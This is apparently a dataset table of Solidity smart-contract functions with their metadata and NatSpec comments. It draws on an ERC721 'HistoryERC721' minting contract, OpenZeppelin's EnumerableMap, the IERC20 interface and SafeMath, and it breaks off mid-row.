contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | eventData | function eventData(uint eventId) external view override returns(
uint totalMintFee,
string memory _name,
string memory contentHash,
string memory contentDomain,
uint firstMintTime
){
EventMeta memory meta = eventMeta[eventId];
totalMintFee = meta.totalMintFee;
_name = eventName[... | /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
2751,
3278
]
} | 28,500 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | tokenURI | function tokenURI(uint256 tokenId) public view override(IERC721Metadata, ERC721) returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
(uint evtId, uint reportId) = _tokenIdSplit(tokenId);
EventMeta memory meta = eventMeta[evtId];
string memory conte... | /// @inheritdoc IERC721Metadata | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
3318,
4941
]
} | 28,501 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | getConfig | function getConfig() external override view returns(
uint256 _contractId,
uint256 _mintFee,
uint256 _mintStartTime,
uint256 _mintEndTime,
address _feeTo)
{
return (contractID, mintFee, mintStartTime, mintEndTime, feeTo);
}
| /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
4980,
5271
]
} | 28,502 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | setConfig | function setConfig(uint256 mint_, uint256 startTime_, uint256 endTime_) external override onlyOwner{
mintFee = mint_;
mintStartTime = startTime_;
mintEndTime = endTime_;
}
| /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
5310,
5518
]
} | 28,503 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | addAllowedDomain | function addAllowedDomain(string memory domain) external override onlyOwner returns(bool res){
allowedDomain[allowedDomainNum] = domain;
allowedDomainNum = allowedDomainNum.add(1);
return true;
}
| /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
5557,
5789
]
} | 28,504 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | mintNewHistoryReport | function mintNewHistoryReport(
uint domainId,
bool usingSSL,
string memory _name,
string memory _contentHash
) external payable override returns(uint tokenId){
require(domainId < allowedDomainNum,"Invalid domain id.");
require(msg.value >= mintFee, "Not enough fee.");
uint reportId =... | /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
5828,
6824
]
} | 28,505 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | followHistoryEvent | function followHistoryEvent(
uint eventId
)external payable override returns(uint tokenId){
require(msg.value >= mintFee, "Not enough fee.");
require(eventId <= eventNum, "Invalid event.");
EventMeta storage meta = eventMeta[eventId];
EventMeta memory _meta = meta;
require(_meta.... | /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
6863,
7703
]
} | 28,506 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | tokenEventId | function tokenEventId(uint tokenId) external pure override returns(uint tkEvtId){
(tkEvtId, ) = _tokenIdSplit(tokenId);
}
| /// @inheritdoc IHistoryERC721 | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
7742,
7882
]
} | 28,507 | ||
HistoryERC721 | contracts/HistoryERC721.sol | 0xe58c16f849a5f5e5eb065ca5a46a52872e9183ed | Solidity | HistoryERC721 | contract HistoryERC721 is ERC721Enumerable, FeeCollectable, IHistoryERC721{
using Strings for uint256;
using SafeMath for uint256;
using SafeCast for uint256;
//////////////////////////////////////////////////////////////////////////
// Global data
///////////////////////////////////////... | _genTokenID | function _genTokenID(uint eventID, uint reportID) internal view returns(uint tokenID){
require(eventID < 0xFFFFFFFF && reportID < 0xFFFFFFFF, "Invalid ID");
tokenID = (uint(contractID) << (192+32)) + (eventID << 32) + reportID;
}
| /// @notice Packing (contractID: 32, eventID: 192, reportID 32) | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://8b32e61a6008659200af8c7e9f086ad04f53ccf2a16cce87ea92769e26d0ee9d | {
"func_code_index": [
7955,
8213
]
} | 28,508 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _set | function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {// Equivalent to !contains(map, key)
map._entries.push(MapEntr... | /**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
1090,
1786
]
} | 28,509 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _remove | function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {// Equivalent to contains(map, key)
// To delete a key-value pair from the... | /**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
1956,
3522
]
} | 28,510 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _contains | function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
| /**
* @dev Returns true if the key is in the map. O(1).
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
3601,
3731
]
} | 28,511 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _length | function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
| /**
* @dev Returns the number of key-value pairs in the map. O(1).
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
3821,
3936
]
} | 28,512 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _at | function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
| /**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
4296,
4580
]
} | 28,513 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _get | function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
| /**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
4736,
4890
]
} | 28,514 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | _get | function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
// Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value;
// All indexes are 1-based
}
| /**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
4998,
5340
]
} | 28,515 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | set | function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
| /**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
5659,
5840
]
} | 28,516 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | remove | function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
| /**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
6001,
6148
]
} | 28,517 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | contains | function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
| /**
* @dev Returns true if the key is in the map. O(1).
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
6227,
6383
]
} | 28,518 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | length | function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
| /**
* @dev Returns the number of elements in the map. O(1).
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
6466,
6594
]
} | 28,519 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | at | function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
| /**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
6937,
7169
]
} | 28,520 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | get | function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
| /**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
7325,
7492
]
} | 28,521 | ||
TheRestorian | contracts/utils/EnumerableMap.sol | 0xb6484b1d2e71ca68ab42fba4d4f8918226db9900 | Solidity | EnumerableMap | library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint25... | /**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enu... | NatSpecMultiLine | get | function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
| /**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/ | NatSpecMultiLine | v0.7.1+commit.f4a555be | {
"func_code_index": [
7599,
7808
]
} | 28,522 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
104,
168
]
} | 28,523 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
261,
338
]
} | 28,524 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
584,
670
]
} | 28,525 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
971,
1063
]
} | 28,526 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
1770,
1853
]
} | 28,527 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view r... | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
2194,
2300
]
} | 28,528 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
290,
496
]
} | 28,529 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
805,
958
]
} | 28,530 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
1287,
1504
]
} | 28,531 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://e10f6a56eb4230f67a569a8dfdbec9f0aa55be83c5e14b7caaaa35b348b0e971 | {
"func_code_index": [
1789,
2309
]
} | 28,532 | ||
OG | OG.sol | 0x17123a99e840e735ad8689bce13de00ea1ccc390 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
